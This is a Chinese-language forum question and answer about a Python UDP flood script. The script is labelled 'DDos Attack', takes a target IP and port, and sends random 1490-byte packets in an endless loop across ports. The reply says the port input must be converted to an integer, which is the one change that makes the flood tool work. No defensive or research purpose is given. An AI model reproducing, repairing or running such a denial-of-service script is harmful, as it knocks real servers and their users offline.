代码报出了意外的错，求解？

输入代码

import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year

##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############

os.system("clear")
os.system("figlet DDos Attack")
print
print ("Author   : HA-MRX")
print ("You Tube : https://www.youtube.com/c/HA-MRX")
print ("github   : https://github.com/Ha3MrX")
print ("Facebook : https://www.facebook.com/muhamad.jabar222")
ip = input("IP Target : ")
port = input("Port       : ")

os.system("clear")
os.system("figlet Attack Starting")
print ("[                    ] 0% ")
time.sleep(5)
print ("[=====               ] 25%")
time.sleep(5)
print ("[==========          ] 50%")
time.sleep(5)
print ("[===============     ] 75%")
time.sleep(5)
print ("[====================] 100%")
time.sleep(3)
sent = 0
while True:
     sock.sendto(bytes, (ip,port))
     sent = sent + 1
     port = port + 1
     print ("Sent %s packet to %s throught port:%s")%(sent,ip,port)
     if port == 65534:
       port = 1

报错

Traceback (most recent call last):
  File "main.py", line 44, in <module>
    sock.sendto(bytes, (ip,port))
TypeError: an integer is required (got type str)

TypeError: an integer is required (got type str)提示已经很明显了，类型错误，第44行的port应该是整型，但是你传入的参数是字符串类型的。